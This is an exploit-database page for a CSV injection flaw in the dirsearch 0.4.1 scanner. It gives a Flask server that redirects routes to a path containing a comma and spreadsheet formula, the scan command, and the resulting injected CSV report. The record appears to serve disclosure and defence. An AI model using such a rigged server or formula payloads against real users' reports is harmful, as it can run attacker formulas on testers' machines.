Lucene search
+L

dirsearch 0.4.1 - CSV Injection

🗓️ 06 Jan 2021 00:00:00Reported by Dolev FarhiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 225 Views

dirsearch 0.4.1 - CSV Injection vulnerability in dirsearch too

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
attackerkb
CVE-2021-47901
27 Jan 202615:23
–attackerkb
circl
Circl
CVE-2021-47901
27 Jan 202616:14
–circl
cnnvd
CNNVD
dirsearch security vulnerabilities
27 Jan 202600:00
–cnnvd
cve
CVE
CVE-2021-47901
27 Jan 202615:23
–cve
cvelist
Cvelist
CVE-2021-47901 dirsearch 0.4.1 - CSV Injection
27 Jan 202615:23
–cvelist
euvd
EUVD
EUVD-2021-34747
27 Jan 202615:23
–euvd
nvd
NVD
CVE-2021-47901
27 Jan 202616:16
–nvd
osv_cve
osv_cve
CVE-2021-47901
27 Jan 202616:16
–osv_cve
ptsecurity
Positive Technologies
PT-2026-4932
27 Jan 202600:00
–ptsecurity
rapid7
Rapid7 Vulnerability Database (full)
CVE-2021-47901: Improper Neutralization of Formula Elements in a CSV File
27 Jan 202600:00
–rapid7
Rows per page
# Exploit Title: dirsearch 0.4.1 - CSV Injection
# Author: Dolev Farhi
# Date: 2021-01-05
# Vendor Homepage: https://github.com/maurosoria/dirsearch
# Version : 0.4.1
# Tested on: Debian 9.13

dirsearch, when used with the --csv-report flag, writes the results of crawled endpoints which redirect(, to a csv file without sanitization.
A malicious server can redirect all of its routes/paths to a path that contains a comma and formula, e.g. /test,=1336+1, and escape the normal dirsearch CSV structure to inject its own formula.

Malicious Flask Webserver:

"""
from flask import Flask, redirect
app = Flask(__name__)

@app.route('/')
def index():
 return redirect('/test,=1336+1')

@app.route('/admin')
def admin():
 return redirect('/test,=1336+1')

@app.route('/login')
def login():
 return redirect('/test,=1336+1')
"""


2. Tester runs dirsearch
root@host:~/# python3 dirsearch.py -u http://10.0.0.1 --csv-report=report.csv


  _|. _ _  _  _  _ _|_    v0.4.1
 (_||| _) (/_(_|| (_| )

Extensions: php, asp, aspx, jsp, html, htm, js | HTTP method: GET | Threads: 30 | Wordlist size: 2

Error Log: /root/tools/dirsearch/logs/errors-21-01-06_04-29-10.log

Target: http://10.0.0.1

Output File: /root/tools/dirsearch/reports/10.0.0.1/_21-01-06_04-29-10.txt

[04:29:10] Starting:
[04:29:11] 302 -  233B  - /admin  ->  http://10.0.0.1/test,=1336+1
[04:29:11] 302 -  233B  - /login  ->  http://10.0.0.1/test,=1336+1


3. Result CSV

root@host:~/# cat report.csv

Time,URL,Status,Size,Redirection
Wed Jan  6 04:29:11 2021,http://10.0.0.1:80/admin,302,233,http://10.0.0.1/test,=1336+1
Wed Jan  6 04:29:11 2021,http://10.0.0.1:80/login,302,233,http://10.0.0.1/test,=1336+1

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

23 Nov 2026 00:00Current
5.3Medium risk
Vulners AI Score5.3
CVSS 45.1
CVSS 3.19.8
EPSS0.0141
SSVC
225